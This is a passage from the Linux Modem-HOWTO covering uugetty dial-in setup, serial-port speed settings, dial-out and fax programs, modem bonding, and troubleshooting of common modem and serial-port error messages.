If you have a slow modem (under 9600 bps) Then, instead of one line for a single speed, your need several lines to try a number of speeds. Note the these lines are linked to each other by the last "word" in the line such as #4800. Blank lines are needed between each entry. Are the higher modem-to-serial_port speeds in this example really needed for a slow modem ?? The uugetty documentation shows them so I'm not yet deleting them.

# Modem entries
115200# B115200 CS8 # B115200 SANE -ISTRIP HUPCL #@S @L @B login: #57600

57600# B57600 CS8 # B57600 SANE -ISTRIP HUPCL #@S @L @B login: #38400

38400# B38400 CS8 # B38400 SANE -ISTRIP HUPCL #@S @L @B login: #19200

19200# B19200 CS8 # B19200 SANE -ISTRIP HUPCL #@S @L @B login: #9600

9600# B9600 CS8 # B9600 SANE -ISTRIP HUPCL #@S @L @B login: #4800

4800# B4800 CS8 # B4800 SANE -ISTRIP HUPCL #@S @L @B login: #2400

2400# B2400 CS8 # B2400 SANE -ISTRIP HUPCL #@S @L @B login: #1200

1200# B1200 CS8 # B1200 SANE -ISTRIP HUPCL #@S @L @B login: #115200

Login Banner

If you want, you can make uugetty print interesting things in the login banner. In Greg's examples, he has the system name, the serial line, and the current bps rate. You can add other things:

       @B    The current (evaluated at the time the @B is seen) bps rate.
       @D    The current date, in MM/DD/YY.
       @L    The serial line to which uugetty is attached.
       @S    The system name.
       @T    The current time, in HH:MM:SS (24-hour).
       @U    The number of currently signed-on users.  This is  a
             count of the number of entries in the /etc/utmp file
             that have a non-null ut_name field.
       @V    The value of VERSION, as given in the defaults file.
       To display a single '@' character, use either '\@' or '@@'.

13.3 Customizing uugetty

There are lots of parameters you can tweak for each port you have. These are implemented in separate config files for each port. The file /etc/conf.uugetty will be used by all instances of uugetty, and /etc/conf.uugetty.ttyS N will only be used by that one port. Sample default config files can be found with the getty_ps source files, which come with most Linux distributions. Due to space concerns, they are not listed here. Note that if you are using older versions of uugetty (older than 2.0.7e), or aren't using FSSTND, then the default file will be /etc/default/uugetty.ttyS N. Greg's /etc/conf.uugetty.ttyS3 looked like this:

# sample uugetty configuration file for a Hayes compatible modem to allow
# incoming modem connections
#
# line to initialize
INITLINE=ttyS3
# timeout to disconnect if idle...
TIMEOUT=60
# modem initialization string...
# format: <expect> <send> ... (chat sequence)
INIT="" AT\r OK\r\n
WAITFOR=RING
CONNECT="" ATA\r CONNECT\s\A
# this line sets the time to delay before sending the login banner
DELAY=1
#DEBUG=010

Add the following line to your /etc/inittab, so that uugetty is run on your serial port, substituting in the correct information for your environment - run-levels (2345 or 345, etc.) config file location, port, speed, and default terminal type:

S3:2345:respawn:/sbin/uugetty -d /etc/default/uugetty.ttyS3 ttyS3 F115200 vt100
Restart init:
linux# init q
For the speed parameter in your /etc/inittab, you want to use the highest bps rate that your modem supports.

Now Linux will be watching your serial port for connections. Dial in from another machine and login to you Linux system.

uugetty has a lot more options, see the man page for uugetty) (often just called getty) for a full description. Among other things there is a scheduling feature, and a ringback feature.


Modem-HOWTO : What Speed Should I Use with My Modem?

 Next Previous Contents

14. What Speed Should I Use with My Modem?

By "speed" we really mean the "data flow rate" but almost everybody incorrectly calls it speed. For all modern modems you have no choice of the speed that the modem uses on the telephone line since it will automatically choose the highest possible speed that is feasible under the circumstances. If one modem is slower than the other, then the faster modem will operate at the slower modem's speed. On a noisy line, the speed will drop still lower.

While the above speeds are selected automatically by the modems you do have a choice as to what speed will be used between your modem and your computer (PC-to-modem speed). This is sometimes called "DTE speed" where "DTE" stands for Data Terminal Equipment (Your computer is a DTE.) You need to set this speed high enough so this part of the signal path will not be a bottleneck. The setting for the DTE speed is the maximum speed of this link. Most of the time it should actually operate at lower speeds.

For an external modem, DTE speed is the speed (in bits/sec) of the flow over the cable between you modem and PC. For an internal modem, it's the same idea since the modem also emulates a serial port. It may seem ridiculous having a speed limit on communication between a computer and a modem card that is directly connected inside the computer to a much higher speed bus. But it's that way since the modem card probably includes a dedicated serial port which does have speed limits (and settable speeds).

14.1 Speed and Data Compression

What speed do you choose? If it were not for "data compression" one might try to choose a DTE speed exactly the same as the modem speed. Data compression takes the bytes sent to the modem from your computer and encodes them into a fewer number of bytes. For example, if the flow (speed) from the PC to the modem was 20,000 bytes/sec (bps) and the compression ratio was 2 to 1, then only 10,000 bytes/sec would flow over the telephone line. Thus for a 2:1 compression ratio you need to set the DTE speed to double the maximum modem speed on the phone line. If the compression ratio were 3 to 1 you need to set it 3 times faster, etc.

14.2 Where do I Set Speed ?

This DTE (PC-to-modem) speed is normally set by a menu in your communications program or by an option given to the getty command if someone is dialing in. You can't set the DCE modem-to-modem speed since this is set automatically by the modem to the highest feasible speed after negotiation with the other modem. Well, actually you can set the modem-to-modem speed with the S37 register but you shouldn't do it. If the two modems on a connection were to be set this way to different speeds, then they couldn't communicate with each other.

14.3 Can't Set a High Enough Speed

Speeds over 115.2k

The top speed of 115.2k has been standard since the mid 1990's. But by the year 2000, most new serial ports supported higher speeds of 230.4k and 460.8k. Some also support 921.6k. Unfortunately Linux seldom uses these speeds due to lack of drivers. These ports behave just like 115.2k ports unless the higher speeds are enabled by special software. To get these speeds you need to compile the kernel with special patches but it seems that the 2.4 kernels are not yet supported

The patch software is fairly simple since it only needs to enable the higher speeds by dialog with the hardware. But it's not quite as simple as just putting an enable byte in a hardware register since the registers weren't designed for this. But unfortunately, there is no standard way to enable the higher speeds so the driver needs to support a variety of hardware.

A patch to support high-speed is called shsmod (Super High Speed Mode). There are both Windows and Linux versions of this patch. See http://www.devdrv.com/shsmod/. For Linux (as of late 2001), most of the documentation is only in Japanese and the patch is for the old kernel 2.2.x. There is also a module for the VIA VT82C686 chip http://www.kati.fi/viahss/. Using it may result in buffer overflow.

For internal modems, only a minority of them advertise that they support speeds of over 115.2k for their built-in serial ports. Does shsmod support these ??

How speed is set in hardware: the divisor and baud_base

Here's a list of commonly used divisors and their corresponding speeds (assuming a maximum speed of 115,200): 1 (115.2k), 2 (57.6k), 3 (38.4k), 6 (19.2k), 12 (9.6k), 24 (4.8k), 48 (2.4k), 96 (1.2k), etc. The serial driver sets the speed in the hardware by sending the hardware only a "divisor" (a positive integer). This "divisor" divides the maximum speed of the hardware resulting in a slower speed (except a divisor of 1 obviously tells the hardware to run at maximum speed).

There are exceptions to the above since for certain serial port hardware, speeds above 115.2k are set by using a very high divisor. Bear that exception in mind as you read the rest of this section. Normally, if you specify a speed of 115.2k (in your communication program or by stty) then the serial driver sets the port hardware to divisor 1 which sets the highest speed.

Besides using a very high divisor to set high speed the conventional way to do it is as follows: If you happen to have hardware with a maximum speed of say 230.4k (and the 230.4k speed has been enabled), then specifying 115.2k will result in divisor 1. For some hardware this will actually give you 230.4k. This is double the speed that you set. In fact, for any speed you set, the actual speed will be double. If you had hardware that could run at 460.8k then the actual speed would be quadruple what you set. All the above assumes that you don't use "setserial" to modify things.

Setting the divisor, speed accounting

To correct this accounting (but not always fix the problem) you may use "setserial" to change the baud_base to the actual maximal speed of your port such as 230.4k. Then if you set the speed (by your application or by stty) to 230.4k, a divisor of 1 will be used and you'll get the same speed as you set.

If you have old software which will not permit such a high speed (but your hardware has it enabled) then you might want to look into using the "spd_cust" parameter for setserial with "divisor 1". Then when you tell the application that the speed it 38,400, it will use divisor 1 and get the highest speed.

There are some brands of UARTs that uses a very high divisor to set high speeds. There isn't any satisfactory way to use "setserial" (say set "divisor 32770") to get such a speed since then setserial would then think that the speed is very low and disable the FIFO in the UART.

Crystal frequency is higher than baud_base

Note that the baud_base setting is usually much lower than the frequency of the crystal oscillator since the crystal frequency of say 1.8432 MHz is divided by 16 in the hardware to get the actual top speed of 115.2k. The reason the crystal frequency needs to be higher is so that this high crystal speed can generate clock ticks to take a number of samples of each bit to determine if it's a 1 or a 0.

Actually, the 1.8432 MHz "crystal frequency" is obtained from a 18.432 MHz crystal oscillator by dividing by 10 before being fed to the UART. Other schemes are also possible as long as the UART performs properly.

14.4 Speed Table

It's best to have at least a 16650 UART for a 56k modem but few modems or serial ports provide it. Second best is a 16550 that has been tweaked to give 230,400 bps (230.4 kbps). Most people still use a 16550 that is only 115.2 kbps but it's claimed to only slow down thruput by a few percent (on average). This is because a typical compression ratio is 2 to 1 and for downloading compressed files (packages) it's 1 to 1. There's no degradation for these cases. Here are some suggested speeds to set your serial line if your modem speed is:

  • 56k (V.92): use 230.4 kbps (hard to obtain)
  • 56k (V.90): use 115.2 kbps or 230.4 kbps (best)
  • 33.6k (V.34bis): use 115.2 kbps
  • 28.8k (V.34): use 115.2 kbps
  • 14.4k (V.32bis): use 57600 bps
  • 9.6k (V.32): use 38400 bps
  • slower than a 9600 bps (V.32) modem: Set the speed to the same speed as the modem (unless you have data compression).

All the above speeds may use V.42bis data compression and V.42 error correction. If data compression is not used then the speed may be set lower so long as it's above the modem speed.


Modem-HOWTO : Communications Programs And Utilities

 Next Previous Contents

15. Communications Programs And Utilities

While PPP is used for Internet access you also need a dialer program (or script) that will work with PPP. Such a dialer program will dial a phone number. When the other side answers the phone then three things happen: a modem connection is established (CONNECT), PPP is started at both ends, and you get logged in automatically. The exact sequence of the last 2 events may vary. Dialer programs for ppp include wvdial, chap scripts, kppp, RP3, Linuxconf, and gnome-ppp.

There are also other dialer programs which can dial out directly (thru a modem) to local libraries, etc. This isn't the Internet. minicom is the most popular followed by Seyon (X-Windows only) and Kermit. People have likely also used these programs for dialing out with ppp for the Internet but it's not what they were originally designed for.

15.1 Minicom vs. Kermit

Minicom is only a communications program while Kermit is both a communications program and a file transfer protocol. But one may use the Kermit protocol from within Minicom (provided one has Kermit installed on one's PC). Minicom is menu based while Kermit is command line based (interactive at the special Kermit prompt). While the Kermit program is free software, the documentation is not all free. There is no detailed manual supplied and it is suggested that you purchase a book as the manual. However Kermit has interactive online help which tells all but lacks tutorial explanations for the beginner. Commands may be put in a script file so you don't have to type them over again each time. Kermit (as a communications program) is more powerful than Minicom.

Although all Minicom documentation is free, it's not as extensive as Kermit's. Since permission is required to include Kermit in a commercial distribution, and since the documentation is not entirely free, some distributions don't include Kermit. In my opinion it's easier to set up Minicom, there is less to learn, and you can still use kermit from within Minicom.

15.2 List of Communication Software

Here is a list of some communication software you can choose from, If they didn't come with your distribution they should be available via FTP. I would like comparative comments on the dialout programs. Are the least popular ones obsolete?

Least Popular Dialout

  • ecu - a communications program
  • pcomm - procomm-like communications program with zmodem
  • xc - xcomm communication package

Most Popular Dialout

  • PPP dialers for getting on the internet: wvdial, eznet, chat, pon (uses chat),
  • minicom - telix-like communications program. Can work with scripts, zmodem, kermit
  • C-Kermit - portable, scriptable, serial and TCP/IP communications including file transfer, character-set translation, and zmodem support
  • seyon - X based communication program

Fax

By using a fax program, you may use most modems to send faxes. In this case you dial out directly and not via ppp and an ISP. You also pay any long-distance telephone charges. email is more efficient.

  • efax a small fax program
  • hylafax a large fax program based on the client-server model.
  • mgetty+fax handles fax stuff and login for dial-ins
  • A fax protocol tutorial http://www.iec.org/online/tutorials/vfoip/topic08.html

Voicemail Software

  • vgetty is an extension to mgetty that handles voicemail for some modems. It should come with recent releases of mgetty.
  • VOCPis a "complete voice messaging" system for Linux.

Dial-in (uses getty)

  • mgetty+fax is for modems and is well documented (except for voicemail as of early 1999). It also handles fax stuff and provides an alternative to uugetty. It's incorporating voicemail (using vgetty) features. See About mgetty
  • uugetty is also for modems. It comes as a part of the ps_getty package. See About getty_ps

Other

  • callback is where you dial out to a remote modem and then that modem hangs up and calls you back (to save on phone bills).
  • SLiRP and term provide a PPP-like service that you can run in user space on a remote computer with a shell account. See term and SLiRP for more details
  • ZyXEL is a control program for ZyXEL U-1496 modems. It handles dialin, dialout, dial back security, FAXing, and voice mailbox functions.
  • SLIP and PPP software can be found at ftp://metalab.unc.edu/pub/Linux/system/network/serial/.
  • Other things can be found on ftp://metalab.unc.edu/pub/Linux/system/serial and ftp://metalab.unc.edu/pub/Linux/apps/serialcomm or one of the many mirrors. These are the directories where serial programs are kept.

15.3 SLiRP and term

SLiRP and term are programs which are of use if you only have a dial-up shell account on a Unix-like machine and want to get the equivalent of a PPP account (or the like) without being authorized to have it (possibly because you don't want to pay extra for it, etc.). SLiRP is more popular than term which is almost obsolete.

To use SLiRP you install it in your shell account on the remote computer. Then you dial up the account and run SLiRP on the remote and PPP on your local PC. You now have a PPP connection over which you may run a web browser on your local PC such as Netscape, etc. There may be some problems as SLiRP is not as good as a real PPP account. Some accounts may provide SLiRP since it saves on IP addresses (You have no IP address while using SLiRP).

term is something like SLiRP only you need to run term on both the local and remote computer. There is no PPP on the phone line since term uses its own protocol. To use term from your PC you need to use a term-aware version of ftp to do ftp, etc. Thus it's easier to use SLiRP since the ordinary version of ftp works fine with SLiRP. There is an unmaintained Term HOWTO.

15.4 MS Windows

If you want someone who uses MS Windows to dial in to your Linux PC then if they use:

  • Windows 3.x: use Terminal
  • Windows 95/98/2000: use HyperTerminal

Third party dial-out programs include HyperTerminal Private Edition.


Modem-HOWTO : Two Modems (Modem Doubling)

 Next Previous Contents

16. Two Modems (Modem Doubling)

16.1 Introduction

By using two modems at the same time, the flow of data can be doubled. It takes two modems and two phone lines. There are two methods of doing this. One is "modem bonding" where software at both ends of the modem-to-modem connection enables the paired modems to work like a single channel.

The second method is called "modem teaming. Only one end of the connection uses software to make 2 different connections to the internet. Then when a file is to be downloaded, one modem gets the first half of the file while the second modems simultaneously gets the last half of the same file. Is there any modem teaming support in Linux ??

16.2 Modem Bonding

There are two ways to do this in Linux: EQL and multilink. These are provided as part of the Linux kernel (provided they've been selected when the kernel was compiled). For multilink the kernel must be at least v.2.4. Both ends of the connection must run them. Few (if any) ISPs provide EQL but many provide Multilink.

The way it works is something like multiplexing only it's the other way around. Thus it's called inverse-multiplexing. For the multilink case, suppose you're sending some packets. The first packet goes out on modem1 while the second packet is going out on modem2. Then the third packet follows the first packet on modem1. The forth packet goes on modem2, etc. To keep each modem busy, it may be necessary to send out more packets on one modem than the other. Since EQL is not packet based, it doesn't split up the flow on packet boundaries.

EQL

EQL is "serial line load balancing" which has been available for Linux since at least 1995. An old (1995) howto on it is in the kernel documentation (in the networking subdirectory). Unfortunately, ISPs don't seem to provide EQL.

Multilink

Staring with kernel 2.4 in 2000, experimental support is provided for multilink. It must be selected when compiling the kernel and it only works with PPP.


Modem-HOWTO : Troubleshooting

 Next Previous Contents

17. Troubleshooting

17.1 My Modem is Physically There but Can't be Found

The error messages could be something like "No modem detected", "Modem not responding", or (strange) "You are already online" (from Minicom). If you have installed an internal modem (serial port is builtin) or are using an external one and don't know what serial port it's connected to then the problem is to find the serial port. See My Serial Port is Physically There but Can't be Found. This section is about finding out which serial port has the modem on it.

There's a program that looks for modems on commonly used serial ports called "wvdialconf". Just type "wvdialconf <a-new-file-name>". It will create the new file as a configuration file but you don't need this file unless you are going to use "wvdial" for dialing. See What is wvdialconf ? Unfortunately, if your modem is in "online data" mode, wvdialconf will report "No modem detected" See No response to AT

Your problem could be due to a winmodem (or the like) which usually can't be used with Linux. See Software-based Modems (winmodems). The "setserial program may be used to detect serial ports but will not detect modems on them. Thus "wvdialconf" is best to try first.

Another way try to find out if there's a modem on a port is to start "minicom" on the port (after first setting up minicom for the correct serial port --you will need to save the setup and then exit minicom and start it again). Then type "AT" and you should see OK (or 0 if it's set for "digit result codes"). The results may be:

  • No response. See No response to AT
  • It takes many seconds to get an expected truncated response (including only the cursor moving down one line). See Extremely Slow: Text appears on the screen slowly after long delays
  • Some strange characters appear but they are not in response to AT. This likely means that your modem is still connected to something at the other end of the phone line which is sending some cryptic packets or the like.

No response to AT

The modem should send you "OK" in response to your "AT" which you type to the modem (using minicom or the like). If you don't see "OK" (and in most cases don't even see the "AT" you typed either) then the modem is not responding (often because what you type doesn't even get to the modem).

A common cause is that there is no modem on the serial port you are typing to. For the case of an internal modem, that serial port likely doesn't exist either. That's because the PnP modem card (which has a built-in serial port) has either not been configured (by isapnp or the like) or has been configured incorrectly. See My Serial Port is Physically There but Can't be Found.

If what you type is really getting thru to a modem, then the lack of response could be due to the modem being in "online data" mode where it can't accept any AT commands. You may have been using the modem and then abruptly disconnected (such as killing the process with signal 9). In that case your modem did not get reset to "command mode" where it can interact to AT commands. Thus the message from minicom "You are already online. Hangup first." Well, you are sort of online but you are may not be connected to anything over the phone line. Wvdial will report "modem not responding" for the same situation.

To fix this as a last resort you could reboot the computer. Another way to try to fix this is to send +++ to the modem to tell it to escape back to "command mode" from "online data mode". On both sides of the +++ sequence there must be about 1 second of delay (nothing sent during "guard time"). This may not work if another process is using the modem since the +++ sequence could wind up with other characters inserted in between them or after the +++ (during the guard time). Ironically, even if the modem line is idle, typing an unexpected +++ is likely to set off an exchange of control packets (that you never see) that will violate the required guard time so that the +++ doesn't do what you wanted. +++ is usually in the string that is named "hangup string" so if you command minicom (or the like) to hangup it might work. Another way to do this is to just exit minicom and then run minicom again.

17.2 "Modem is busy"

What this means depends on what program sent it. The modem could actually be in use (busy). Another cause reported for the SuSE distribution is that there may be two serial drivers present instead of one. One driver was built into the kernel and the second was a module.

In kppp, this message is sent when an attempt to get/set the serial port "stty" parameters fails. (It's similar to the "Input/output error" one may get when trying to use "stty -F /dev/ttySx"). To get a few of these stty parameters, the true address of the port must be known to the driver. So the driver may have the wrong address. The setserial" command will display what the driver thinks but it's likely wrong in this case. So what the "modem busy" really means is that the serial port (and the modem) can't be found.

If you have a pci modem, then use one of these commands: lspci, or cat /proc/pci, or dmesg to find the correct address and irq of the modem's serial port. Then check to see if "setserial" shows the same thing. If not, you need to run a script at boot-time which contains a setserial command that will tell the driver the correct address and irq. The reason that the driver has it wrong may be due to failure of the kernel to understand the lspci data correctly. You might notice this in a boot-time message.

17.3 I can't get near 56k on my 56k modem

There must be very low noise on the line for it to work at even close to 56k. Some phone lines are so bad that the speeds obtainable are much slower than 56k (like 28.8k or even slower). Sometimes extension phones connected to the same line can cause problems. To test this you might connect your modem directly at the point where the telephone line enters the building with the feeds for everything else on that line disconnected (if others can tolerate such a test).

17.4 Uploading (downloading) files is broken/slow

Flow control (both at your PC and/or modem-to-modem) may not be enabled. For the uploading case: If you have set a high DTE speed (like 115.2k) then flow from your modem to your PC may work OK but uploading flow in the other direction will not all get thru due to the telephone line bottleneck. This will result in many errors and the resending of packets. It may thus take far too long to send a file. In some cases, files don't make it thru at all.

For the downloading case: If you're downloading long uncompressed files or web pages (and your modem uses data compression) or if you've set a low DTE speed, then downloading may also be broken due to no flow control.

17.5 For Dial-in I Keep Getting "line NNN of inittab invalid"

Make sure you are using the correct syntax for your version of init. The different init's that are out there use different syntax in the /etc/inittab file. Make sure you are using the correct syntax for your version of getty.

17.6 I Keep Getting: ``Id "S3" respawning too fast: disabled for 5 minutes''

Id "S3" is just an example. In this case look on the line which starts with "S3" in /etc/inittab and calls getty. This line causes the problem. Make sure the syntax for this line is correct and that the device (ttyS3) exists and can be found. If the modem has negated CD and getty opens the port, you'll get this error message since negated CD will kill getty. Then getty will respawn only to be killed again, etc. Thus it respawns over and over (too fast). It seems that if the cable to the modem is disconnected or you have the wrong serial port, it's just like CD is negated. All this can occur when your modem is chatting with getty. Make sure your modem is configured correctly. Look at AT commands E and Q.

If you use uugetty, verify that your /etc/gettydefs syntax is correct by doing the following:

linux# getty -c /etc/gettydefs

This can also happen when the uugetty initialization is failing. See section uugetty Still Doesn't Work.

17.7 My Modem is Hosed after Someone Hangs Up, or uugetty doesn't respawn

This can happen when your modem doesn't reset when DTR is dropped. Greg Hankins saw his RD and SD LEDs go crazy when this happened. You need to have your modem reset. Most Hayes compatible modems do this with &D3, but for USR Courier, SupraFax, and other modems, you must set &D2 (and S13=1 for USR Courier). Check your modem manual (if you have one).

17.8 NO DIALTONE

It means exactly what it says. Someone else may be using another telephone on the same line. You also get this error if there is no phone line plugged into the modem, or if the phone line is somehow broken. Try plugging a real telephone into the phone cord used by the modem. Check it for a dialtone.

If for some reason your modem doesn't detect a dialtone, then you can force it to dial anyway by putting X3 in the init string.

17.9 NO CARRIER

This means that the analog sine wave (the carrier) from the other modem isn't present like it should be. If you were already connected, this means that the connection has been lost. There may have been noise on the line or a bad connection. The other modem may have hung up on you for some reason: Perhaps the automatic login process didn't work out OK. Perhaps PPP didn't get started OK. Perhaps a time limit was exceeded.

If you get this error before you get connected, it means that the carrier of the other modem wasn't detected by your modem. This may happen if there is there is no properly working modem on the other end. For example, an answering machine could have picked up your call instead of a modem. NO CARRIER will also happen if the modems fail to negotiate a protocol to use. This can happen if you have an early V.90 modem that first tries to negotiate a high speed X2 or K56flex protocol. These two protocols are obsolete and some ISP servers will drop the connection (hang up) when this happens since they have no understanding of such protocols and don't wait around long enough for the calling modem to fallback to V.90.

If you force your modem to drop the connection by dropping the DTR signal or sending your modem the hangup signal (ATH) you may get this error message. But in this case you (or your software) wanted to drop the connection so there should be no problem. In this case you are only supposed to get NO CARRIER if data was lost. So for most cases of dropping a connection by hangup (or by dropping DTR) you only get an OK message. Your modem dialer program may not even display that to you.

17.10 uugetty Still Doesn't Work

There is a DEBUG option that comes with getty_ps. Edit your config file /etc/conf.{uu}getty.ttyS N and add DEBUG=NNN. Where NNN is one of the following combination of numbers according to what you are trying to debug:

D_OPT   001            option settings
D_DEF   002            defaults file processing
D_UTMP  004            utmp/wtmp processing
D_INIT  010            line initialization (INIT)
D_GTAB  020            gettytab file processing
D_RUN   040            other runtime diagnostics
D_RB    100            ringback debugging
D_LOCK  200            uugetty lockfile processing
D_SCH   400            schedule processing
D_ALL   777            everything
Setting DEBUG=010 is a good place to start.

If you are running syslogd, debugging info will appear in your log files. If you aren't running syslogd info will appear in /tmp/getty:ttyS N for debugging getty and /tmp/uugetty:ttyS N for uugetty, and in /var/adm/getty.log. Look at the debugging info and see what is going on. Most likely, you will need to tune some of the parameters in your config file, and reconfigure your modem.

You could also try mgetty. Some people have better luck with it.

17.11 (The following subsections are in both the Serial and Modem HOWTOs)

17.12 My Serial Port is Physically There but Can't be Found

If a physical device (such as a modem) doesn't work at all it may mean that the device is not at the I/O address that setserial thinks it's at. It could also mean (for a PnP card) that is doesn't yet have an address. Thus it can't be found.

Check the BIOS menus and BIOS messages. For the PCI bus use lspci or scanpci. If it's an ISA bus PnP serial port, try "pnpdump --dumpregs" and/or see Plug-and-Play-HOWTO. Using "scanport" will scan all ISA bus ports and may discover an unknown port that could be a serial port (but it doesn't probe the port). It could hang your PC. You may try probing with setserial. See Probing. If nothing seems to get thru the port it may be accessible but have a bad interrupt. See Extremely Slow: Text appears on the screen slowly after long delays. Use setserial -g to see what the serial driver thinks and check for IRQ and I0 address conflicts. Even if you see no conflicts the driver may have incorrect information (view it by "setserial" and conflicts may still exist.

If two ports have the same IO address then probing it will erroneously indicate only one port. Plug-and-play detection will find both ports so this should only be a problem if at least one port is not plug-and-play. All sorts of errors may be reported/observed for devices illegally "sharing" a port but the fact that there are two devices on the same a port doesn't seem to get detected (except hopefully by you). In the above case, if the IRQs are different then probing for IRQs with setserial might "detect" this situation by failing to detect any IRQ. See Probing.

17.13 Extremely Slow: Text appears on the screen slowly after long delays

It's likely mis-set/conflicting interrupts. Here are some of the symptoms which will happen the first time you try to use a modem, terminal, or serial printer. In some cases you type something but nothing appears on the screen until many seconds later. Only the last character typed may show up. It may be just an invisible <return> character so all you notice is that the cursor jumps down one line. In other cases where a lot of data should appear on the screen, only a batch of about 16 characters appear. Then there is a long wait of many seconds for the next batch of characters. You might also get "input overrun" error messages (or find them in logs).

For more details on the symptoms and why this happens see

If it involves Plug-and-Play devices, see also Plug-and-Play-HOWTO.

As a quick check to see if it really is an interrupt problem, set the IRQ to 0 with "setserial". This will tell the driver to use polling instead of interrupts. If this seems to fix the "slow" problem then you had an interrupt problem. You should still try to solve the problem since polling uses excessive computer resources.

Checking to find the interrupt conflict may not be easy since Linux supposedly doesn't permit any interrupt conflicts and will send you a /dev/ttyS?: Device or resource busy error message if it thinks you are attempting to create a conflict. But a real conflict can be created if "setserial" has told the kernel incorrect info. The kernel has been lied to and thus doesn't think there is any conflict. Thus using "setserial" will not reveal the conflict (nor will looking at /proc/interrupts which bases its info on "setserial"). You still need to know what "setserial" thinks so that you can pinpoint where it's wrong and change it when you determine what's really set in the hardware.

What you need to do is to check how the hardware is set by checking jumpers or using PnP software to check how the hardware is actually set. For PnP run either "pnpdump --dumpregs" (if ISA bus) or run "lspci" (if PCI bus). Compare this to how Linux (e.g. "setserial") thinks the hardware is set.

17.14 Somewhat Slow: I expected it to be a few times faster

An obvious reason is that the baud rate is actually set too slow. It's claimed that this happened by trying to set the baud rate to a speed higher than the hardware can support (such as 230400).

Another reason may be that whatever is on the serial port (such as a modem, terminal, printer) doesn't work as fast as you thought it did.

Another possible reason is that you have an obsolete serial port: UART 8250, 16450 or early 16550 (or the serial driver thinks you do). See

Use "setserial -g /dev/ttyS*". If it shows anything less than a 16550A, this may be your problem. If you think that "setserial" has it wrong check it out. See What is Setserial for more info. If you really do have an obsolete serial port, lying about it to setserial will only make things worse.

17.15 The Startup Screen Show Wrong IRQs for the Serial Ports.

Linux does not do any IRQ detection on startup. When the serial module loads it only does serial device detection. Thus, disregard what it says about the IRQ, because it's just assuming the standard IRQs. This is done, because IRQ detection is unreliable, and can be fooled. But if and when setserial runs from a start-up script, it changes the IRQ's and displays the new (and hopefully correct) state on on the startup screen. If the wrong IRQ is not corrected by a later display on the screen, then you've got a problem.

So, even though I have my ttyS2 set at IRQ 5, I still see

ttyS02 at 0x03e8 (irq = 4) is a 16550A
at first when Linux boots. (Older kernels may show "ttyS02" as "tty02" which is the same as ttyS2). You may need to use setserial to tell Linux the IRQ you are using.

17.16 "Cannot open /dev/ttyS?: Permission denied"

Check the file permissions on this port with "ls -l /dev/ttyS?"_ If you own the ttyS? then you need read and write permissions: crw with the c (Character device) in col. 1. It you don't own it then it should show rw- in cols. 8 & 9 which means that everyone has read and write permission on it. Use "chmod" to change permissions. There are more complicated ways to get access like belonging to a "group" that has group permission.

17.17 "Operation not supported by device" for ttyS?

This means that an operation requested by setserial, stty, etc. couldn't be done because the kernel doesn't support doing it. Formerly this was often due to the "serial" module not being loaded. But with the advent of PnP, it may likely mean that there is no modem (or other serial device) at the address where the driver (and setserial) thinks it is. If there is no modem there, commands (for operations) sent to that address obviously don't get done. See What is set in my serial port hardware?

If the "serial" module wasn't loaded but "lsmod" shows you it's now loaded it might be the case that it's loaded now but wasn't loaded when you got the error message. In many cases the module will automatically loaded when needed (if it can be found). To force loading of the "serial" module it may be listed in the file: /etc/modules.conf or /etc/modules. The actual module should reside in: /lib/modules/.../misc/serial.o.

17.18 "Cannot create lockfile. Sorry"

When a port is "opened" by a program a lockfile is created in /var/lock/. Wrong permissions for the lock directory will not allow a lockfile to be created there. Use "ls -ld /var/lock" to see if the permissions are OK: usually rwx for everyone (repeated 3 times). If it's wrong, use "chmod" to fix it. Of course, if there is no "lock" directory no lockfile can be created there. For more info on lockfiles see the Serial-HOWTO subsection: "What Are Lock Files".

17.19 "Device /dev/ttyS? is locked."

This means that someone else (or some other process) is supposedly using the serial port. There are various ways to try to find out what process is "using" it. One way is to look at the contents of the lockfile (/var/lock/LCK...). It should be the process id. If the process id is say 100 type "ps 100" to find out what it is. Then if the process is no longer needed, it may be gracefully killed by "kill 100". If it refuses to be killed use "kill -9 100" to force it to be killed, but then the lockfile will not be removed and you'll need to delete it manually. Of course if there is no such process as 100 then you may just remove the lockfile but in most cases the lockfile should have been automatically removed if it contained a stale process id (such as 100).

17.20 "/dev/tty? Device or resource busy"

This means that the device you are trying to access (or use) is supposedly busy (in use) or that a resource it needs (such as an IRQ) is supposedly being used by another device (the resource is "busy"). This message is easy to understand if it only means that the device is busy (in use). But it often means that a resource is in use. What makes it even more confusing is that in some cases neither the device nor the resources that it needs are actually "busy".

The ``resource busy'' part often means (example for ttyS2) ``You can't use ttyS2 since another device is using ttyS2's interrupt.'' The potential interrupt conflict is inferred from what "setserial" thinks. A more accurate error message would be ``Can't use ttyS2 since the setserial data (and kernel data) indicates that another device is using ttyS2's interrupt''. If two devices use the same IRQ and you start up only one of the devices, everything is OK because there is no conflict yet. But when you next try to start the second device (without quitting the first device) you get a "... busy" error message. This is because the kernel only keeps track of what IRQs are actually in use and actual conflicts don't happen unless the devices are in use (open). The situation for I/O address (such as 0x3f8) conflict is similar.

This error is sometimes due to having two serial drivers: one a module and the other compiled into the kernel. Both drivers try to grab the same resources and one driver finds them "busy".

There are two possible cases when you see this message:

  1. There may be a real resource conflict that is being avoided.
  2. Setserial has it wrong and the only reason ttyS2 can't be used is that setserial erroneously predicts a conflict.

What you need to do is to find the interrupt setserial thinks ttyS2 is using. Look at /proc/tty/driver/serial (if you have it). You should also be able to see it with the "setserial" command for ttyS2.

Bug in old versions: Prior to 2001 there was a bug which wouldn't let you see it with "setserial". Trying to see it would give the same "... busy" error message.

To try to resolve this problem reboot or: exit or gracefully kill all likely conflicting processes. If you reboot: 1. Watch the boot-time messages for the serial ports. 2. Hope that the file that runs "setserial" at boot-time doesn't (by itself) create the same conflict again.

If you think you know what IRQ say ttyS2 is using then you may look at /proc/interrupts to find what else (besides another serial port) is currently using this IRQ. You might also want to double check that any suspicious IRQs shown here (and by "setserial") are correct (the same as set in the hardware). A way to test whether or not it's a potential interrupt conflict is to set the IRQ to 0 (polling) using "setserial". Then if the busy message goes away, it was likely a potential interrupt conflict. It's not a good idea to leave it permanently set at 0 since it will put more load on the CPU.

17.21 "Input/output error" from setserial or stty

You may have typed "ttys" instead of "ttyS". You will see this error message if you try to use the setserial command for any device that is not a serial port. It also may mean that the serial port is in use (busy or opened) and thus the attempt to get/set parameters by setserial or stty failed. It could also mean that there isn't any serial port at the IO address that setserial thinks your port is at.

17.22 Overrun errors on serial port

